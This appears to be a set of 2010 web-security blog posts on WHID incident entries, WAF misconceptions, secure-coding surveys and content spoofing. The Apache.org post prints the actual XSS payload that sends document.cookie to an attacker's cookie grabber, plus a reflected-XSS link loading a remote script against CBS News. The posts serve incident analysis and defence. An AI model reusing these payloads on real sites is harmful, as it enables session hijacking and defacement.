Apache.org Compromised Through XSS

Submitted By Ryan Barnett 04/14/2010

One of the latest entries into the WASC Web Hacking Incident Database (WHID), deserves highlighting.

Entry Title: WHID 2010-67: Apache.org hit by targeted XSS attack, passwords compromised

WHID ID: 2010-67

Date Occured: April 9, 2010

Attack Method: Cross Site Scripting (XSS), Brute Force

Application Weakness: Improper Output Handling

Outcome: Session Hijacking

Incident Description: On April 5th, the attackers via a compromised Slicehost server opened a new issue, INFRA-2591. This issue contained the following text:

ive got this error while browsing some projects in jira http://tinyurl.com/XXXXXXXXX [obscured]

Tinyurl is a URL redirection and shortening tool. This specific URL redirected back to the Apache instance of JIRA, at a special URL containing a cross site scripting (XSS) attack. The attack was crafted to steal the session cookie from the user logged-in to JIRA. When this issue was opened against the Infrastructure team, several of our administators clicked on the link. This compromised their sessions, including their JIRA administrator rights.

Attack Source Geography:

Attacked Entity Field: Technology

Attacked Entity Geography: USA

Reference: http://blogs.zdnet.com/security/?p=6123&tag=nl.e539

The end URL destination that the attackers send the Apache admins to was this (with some data obscured) -

https://obscured/path/to/vuln/page.jsp?vulnerable_parameter_name=name;}catch(e){}%0D%0A--></script><noscript><meta%20http-equiv="refresh"%20content="0;url=http://pastie.org/904699"></noscript>
<script>document.write('<img%20src="http://teap.zzl.org/teap.php?data='%2bdocument.cookie%2b'"/>');window.location="http://pastie.org/904699";
</script><script><!--&defaultColor=';try{//

As you can see, the attack is using some html/javascript tricks to force the user's browser to send the "document.cookie" DOM object data off site to the attacker's cookie grabber app (teap.php). The attack payload is using an easy browser trick by placing the javascript data inside of an html IMG tag which makes it possible to bypass the DOM restrictions about different domains access cookie data from other domains.

Here is how the XSS payloads looks if echoed back from JIRA -

<script language="JavaScript" type="text/javascript">

<!--

var defaultColor = '';try{//';

var choice = false;

var openerForm = opener.document.jiraform;

var openerEl = opener.document.jiraform.name;}catch(e){}

--></script><noscript><meta equiv="refresh" content="0;url=http://pastie.org/904699"></noscript><script>document.write('<img src="http://teap.zzl.org/teap.php?data='+document.cookie+'" />');window.location="http://pastie.org/904699";</script><script><!--;

function colorIn(color) {

if (!choice) {

openerEl.value = color;

document.f.colorVal.value = color;

}

}

This attack also highlights the fact that URL Shortener applications (such as tinyurl in this case) can be abused by attackers to hide the destination URL payloads. There was some recent research done by ZScaler entitled "Are URL Shorteners Really Dangerous" however it only focused on malware attacks through URL Shorteners and not XSS attack payloads. As you can see, URL Shorteners are still dangerous as they can dupe and end user into clicking on it as there is no way to tell if the end URL is dangerous or not until you actually click on it. This scenario is another great reason why a browser plugin such as NoScript is so important. As a test, I clicked on the same tinyurl link in Firefox with NoScript and got a warning message and this data was logged in the console -

[NoScript XSS] Sanitized suspicious request. Original URL [https://obscured/path/to/vuln/page.jsp?vulnerable_parameter_name=name;}catch(e){}%0D%0A--%3E%3C/script%3E%3Cnoscript%3E%3Cmeta%20http-equiv=%22refresh%22%20content=%220;url=http://pastie.org/904699%22%3E%3C/nos
cript%3E%3Cscript%3Edocument.write(%27%3Cimg%20src=%22http://teap.zzl.org/teap.php?data=%27%2bdocument.cookie%2b%27%22/%3E%27);window.location=%22http://pastie.org/904
699%22;%3C/script%3E%3Cscript%3E%3C!--&defaultColor=%27;try{//] requested from [chrome://browser/content/browser.xul]. Sanitized URL: [https://obscured/path/to/vuln/page.jsp?vulnerable_parameter_name=NAME%3B%7Dcatch%20e%20%7B%7D%20-%3E%20%2Fscript%3E%20noscript%3E%20meta%20http-equiv=%20refresh%20content=%200%3Burl=http://pastie.org/904699%22%3E%3C/noscri
pt%3E%3Cscript%3Edocument.write(%27%3Cimg%20src=%20http%3A%2F%2Fteap.zzl.org%2Fteap.php%3F
data=%20%2BDOCUMENT.COOKIE%2B%20%20%2F%3E%20%20%3Bwindow.LOCATION=%20http%3A%2F%2Fp
astie.org%2F904699%20%3B%20%2Fscript%3E%20script%3E%20!-&defaultColor=%20%3Btry%7B%2F%2F#376924726542634355].

Thank You NoScript!

Update - I also tested Google Chrome's XSS prevention (comparing inbound payloads with outbound response body data) and it seemed to work as it did not execute the XSS code and the Developer tools console showed this message -

Refused to execute a JavaScript script. Source code of script found within request.

German Government Pays Hacker For Stolen Bank Account Data

By Ryan Barnett 04/08/2010

The latest entry to the WASC Web Hacking Incident Database (WHID) is pretty interesting (below). The attack method is currently unknown (most likely candidate is SQL Injection due to bulk extraction of account holder data) however this story is a really good discussion topic and is why it is being included in WHID at this time.

The short of it is that someone hacked into some banks in Germany and Switzerland and stole account data about customers. Many of the banks are used as havens for people to hide their money for tax evasion purposes. The banks identified that this happened and did not notify their customers that their data was stolen. Well, the attacker decided to sell the stolen account data to the German government who then used the data to track down the account holders who were hiding money. The German government is now seeking back taxes and penalties against the account holders. The final piece of the story that is interesting is that one account holder ended up suing (and won by the way) the Bank for not notifying him about the stolen data with the rationale being that if he had known then he could have come forward to the German government and avoided additional penalties during the grace period.

All I can say is WOW. All four players in this story (the account holder, the bank, the attacker and the German government) *all* have dirty hands... It will be interesting to see what plays out in the future and if other Governments adopt a similar philosophy of paying for stolen data.

Entry Title: WHID 2010-64: Taxman rakes in hundreds of millions thanks to stolen bank data

WHID ID: 2010-64

Date Occurred: April 7, 2010

Attack Method: Unknown

Outcome: Monetary Loss

Incident Description: A fascinating story about how the German government has decided to buy stolen bank data in order to go after German citizens who have not paid taxes on their hidden accounts.

An interesting twist in another case involving LGT Treuhand, a Bad Homburg business man won millions in damages in a suit against the bank for failing to reveal that his information was stolen along with hundreds of other account holders and sold to German authorities for a criminal investigation. He argued that if the bank had informed those on the list that their data had been sold, they could have turned themselves in, receiving temporary amnesty and much lower fines.

Attack Source Geography:

Attacked Entity Field: Finance

Attacked Entity Geography: Germany

Reference: http://www.thelocal.de/article.php?ID=26381

Update - Apparently, the attacker in this case was a former employee and stole the account data by burning them to CDs.

WAF Confusion Continues

By Ryan Barnett 04/07/2010

Frost&Sullivan recently held an Analyst briefing entitled "Analyst Briefing: Web Application Firewall: A Critical Defense For an Information Centric World" in which they provided an overview of the WAF market in the Asia Pacific region. Slides 5 and 6 of the presentation showed that there are still misconceptions about WAFs where organizations don't fully understand what they are and when they need them. There were two questions asked in the survey about WAF understanding.

The first question was "What is the first function that comes to mind when I mention the term "Web Application Firewall?" The top 6 responses are shown in the graphic on the right. As you can see, the two most telling responses were that 19.3% of respondents thought about Network Security. I attribute this response to two main factors:

1. A lack of understanding of the threat. Many organization don't understand that professional criminals' #1 targets are web applications.
2. An unfortunate side-effect of the name WAF. Having the term "firewall" in the name understandably leads people to think of network security devices.

The other interesting response was that 13% thought about IDS/IPS. This also leads to two thoughts:

1. Many people are using a WAF as only an HTTP-Aware IDS/IPS and utilizing only a negative security model.
2. Some of these respondents may not know that a WAF has other protection mechanisms beyond typical IDS/IPS capabilities. Items such as positive security, automated learning and session based protections are what really differentiates WAFs from other security devices.

The second question in the survey was "Agreement Towards Statements Concerning Web Application Firewalls." They asked 6 questions and the responses to two of them again shows a lack of understanding of when/how WAFs can help.

Having a powerful network firewall is sufficient to make up for a lack of a WAF

55% of respondents agreed with this statement. I believe that this viewpoint is somewhat related to the previous responses about a WAF being an HTTP-Aware IDS/IPS. Network Firewall vendors are promoting the concept of Deep Packet Inspection capabilities which allows them to view application layer data however there are some real-world limitations that often crop up with regards to web traffic.

• Access to SSL traffic - in order to decrypt the SSL streams to view the HTTP payloads, any security device must be able to import the SSL cert and private key of the destination app server. Many network firewalls do not have the capability so the web-based protection is only for clear-text port 80 traffic.
• Only negative security/signatures - the protections are based only on known/public vulnerabilities and use signatures.
• Performance impact - network firewalls have to service many other protocols and the performance overhead of Deep Packet Inspection usually adds too much latency for real-world use.

WAF is only required if a company wants to be PCI-DSS compliant

48.3% of respondents agreed with this comment which to me implies two things:

1. Organizations don't understand the true value of WAFs which extend beyond the "Signature-Based, HTTP-Aware IDS/IPS". This narrow use case excludes capabilities such as Application Defect Identification and Performance Events (such as identifying Application Layer DoS).
2. This view echoes the comments made by Ofer Shezaf in his "The Curse of PCI for WAFs" blog post. It seems like a bit of a Catch-22 with PCI and WAFs in that on the one hand, PCI has raised the awareness of WAFs in general, however on the other hand now people are starting to associate WAFs as a need only if you have comply with PCI.

The end result of this survey shows that there is still much WAF awareness and education that needs to be done in the marketplace. Hopefully my blog posts are helping in this regard.

Secure Coding Practices Survey Results

Submitted by Ryan Barnett 04/06/2010

The results of an interesting survey was recently released by Errata Security entitled Integrating Security Into the Software Development Lifecycle. The survey was gathered during the recent RSA and Security B-Sides conferences in San Francisco and focused on attendees who worked at software companies. There were a number of interesting perspectives on the levels of success, or lack there or, of attempting to implement a software development life cycle (SDLC) into an organization. Here is the most telling takeway from a DarkReading story on the survey results:

Microsoft's SDL was the most popular tool for secure software development methods, with Microsoft SDL Agile at number two, with 35 percent of the respondents using Agile SDL, most of which were small development firms and several large companies in the survey. "The survey showed a big win for Microsoft's awareness program, but what I hope that Microsoft will learn from this is that small- to medium-sized software companies have different needs than the big guys. SDL-Agile is a good start, but now they need to re-evaluate the resource requirements with small company in mind," says Marisa Fagan, security project manager at Errata Security.

Fagan says among those companies not deploying a secure coding program, the main reason was a lack of resources. "No matter what the size of the company, participants said it was too time consuming, too expensive, and too draining on their resources," she says. "Another reason was that management had deemed it unnecessary...The survey showed that developers look to management to set the security agenda, and are generally not self-starters when it comes to including security in their code."

This is a key finding that organizations are facing, especially small to medium sized ones. Here is a comment from a survey participant that echoes this same sentiment:

Planning to move security further "left" in the cycle. Unfortunately, my executive management is more concerned with getting a product out the door than getting a secure product out the door. Until that changes, I don't know how successful I can be...

I have seen this issue first hand. If upper-management does not fully comprehend the impact of poor software security, then throwing process and technology at the problem won't help. C-level executives need guidelines so that they can make informed decisions about the possible consequences of producing insecure code. Last Wednesday an interesting report was released called "The Financial Management of Cyber Risk: An Implementation Framework for CFOs" and it is highly recommended that management reads it. Please pass this along.

Weekly Round-Up of Web Hacking Incident Database (WHID) Events (March 29th - April 5th)

Submitted by Ryan Barnett 04/05/2010

The Web Hacking Incidents Database, or WHID for short, is a Web Application Security Consortium project dedicated to maintaining a list of web applications related security incidents. WHID goal is to serve as a tool for raising awareness of the web application security problem and provide information for statistical analysis of web applications security incidents.

The following incidents where added to WHID last week:

WHID 2010-46: Microsoft's Larry "Major Nelson" Hryb has online account hijacked through Xbox.com as part of underground group's publicity bid.

http://www.gamespot.com/news/6254330.html

WHID 2010-47: Court papers: JC Penney was hacking victim

http://www.msnbc.msn.com/id/36088614/ns/technology_and_science-security/

WHID 2010-48: Hackers brute force their way into galeton.com website containing names, credit card numbers

http://datalossdb.org/incidents/2692-hackers-brute-force-their-way-into-website-containing-names-credit-card-numbers

WHID 2010-49: Hackers pluck 8,300 customer logins from bank server

http://www.theregister.co.uk/2010/01/12/bank_server_breached/

WHID 2010-50: Shared-password vulnerability may have exposed personal information in online account management system

http://www.darkreading.com/vulnerability_management/security/privacy/showArticle.jhtml?articleID=222301034

WHID 2010-51: Woman worms into D.C. taxpayer accounts

http://www.washingtonexaminer.com/local/Woman-worms-into-D_C_-taxpayer-accounts-83589257.html

WHID 2010-52: 3000 Small Dog Electronics customers' credit card details compromised

http://www.infosecurity-us.com/view/7411/3000-small-dog-electronics-customers-credit-card-details-compromised/

WHID 2010-53: Google says Vietnam political blogs hacked

http://news.yahoo.com/s/afp/20100331/tc_afp/vietnammediainternetrightsgooglemcafee&a=Technology News&x=1

WHID 2010-54: MyPilotStore.com hack results in false charges on customers’ cards

http://www.databreaches.net/?p=10990

WHID 2010-55: Drudge Report accused of serving malware, again

http://news.cnet.com/8301-27080_3-10466044-245.html

WHID 2010-56: Facebook Flub Leaks Private E-Mail Addresses

http://www.cio.com/article/589021/Facebook_Flub_Leaks_Private_E_Mail_Addresses

WHID 2010-57: Web security under attack from ads in prominent advertising programs

http://www.mxlogic.com/securitynews/web-security/web-security-under-attack-from-ads-in-prominent-advertising-programs651.cfm

WHID 2010-58: China journalist club shuts website after attack

http://www.reuters.com/assets/print?aid=USTOE63101R20100402

Content Spoofing - Not Just An April Fool's Day Attack

Submitted by Ryan Barnett 04/01/2010

Happy April Fool's Day Everyone! April 1st is traditionally a day for pranks and there is no doubt in my mind that we will all be flooded with all sorts of Content Spoofing types of fake news stories such as the one in the graphic on the right from the CBS News website whose headline read:

George Bush appoints a 9 year old to be the chairperson of the Information Security Department.

How are these attacks carried out? More often than not, attackers leverage reflective Cross-site Scripting vulnerabilities within news outlet's web applications so that if victims click on web links the spoofed data will appear. Here is what the XSS link looked like:

http://www.cbsnews.com/stories/2002/02/15/weather_local/main501644.shtml?zipcode=1--%3E%3Cscript%20src=http://www.securitylab. ru/test/sc.js%3E%3C/script%3E%3C!--

When the user sent this request to the website, the javascript payload executed within the victim's browser and requested the sc.js file on the remote, hacker-owned website. The contents of the sc.js file were:

document.write('&ltp align=left&gtMon, 28 August 2006');
document.write('&ltp align=center>&ltb&gtGeorge Bush appoints a 9year old to be the chairperson… ');
document.write('&ltp>On Friday night, George Bush made... ');
document.write('&ltp>Michael Antipov was noticed by the FBI... ');
document.write('&ltp>Michael Antipov, sun of the top-secret... ');
document.write('&ltp>From now on the citizens of the USA can... ');

Cross-site Scripting vulnerabilities are found in just about every web application so the CBS News site example here is not unique. The XSSed website shows a number of news outlet sites vulnerable to this type of attack:

www.internetnews.com XSS vulnerability notified by nickhacks
search.news.cn XSS vulnerability notified by nicobar
www.newsmill.se XSS vulnerability notified by Uber0n
news.uchicago.edu XSS vulnerability notified by nopic01
www.pdenewsroom.state.pa.us XSS vulnerability notified by Mystick
novinnews.com XSS vulnerability notified by Pouya_Server
www.newscast.co.uk XSS vulnerability notified by Viper.aT
www.healthcareitnews.com XSS vulnerability notified by skathgh420
blognetnews.com XSS vulnerability notified by GTADarkDude
search.cyclingnews.com XSS vulnerability notified by Rohit Bansal
news.president.am XSS vulnerability notified by By_Cyber
www.recentnews.co.uk XSS vulnerability notified by austinator
media.49abcnews.com XSS vulnerability notified by xylitol
news.carnoc.com XSS vulnerability notified by xylitol
news.onekoreanews.net XSS vulnerability notified by Woo
newshub.tucows.com XSS vulnerability notified by DaiMon
www.newsvoyager.com XSS vulnerability notified by TheBig
www.hypernews.org XSS vulnerability notified by Mystick
newsroom.pse.com XSS vulnerability notified by LostBrilliance
news.mediamarkt.de XSS vulnerability notified by zrok

Keep in mind that XSS vulnerabilities can be leveraged in many different types of attack outcomes. In this case, we are talking about Content Spoofing of news stories however an attacker may also use the same attack vectors to try and install malware onto victim's computers.

Besides XSS vulnerabilities, Content Spoofing attacks can be carried out due to unauthorized access to web-based management interfaces. For example, there have been news stories of improperly configured proxy servers that allowed external clients to gain access to the the internal network. This in turn allowed them access to web-based news submittal applications. This is exactly what happened where hacker Adrian Lamo posted fake news stories on Yahoo's website.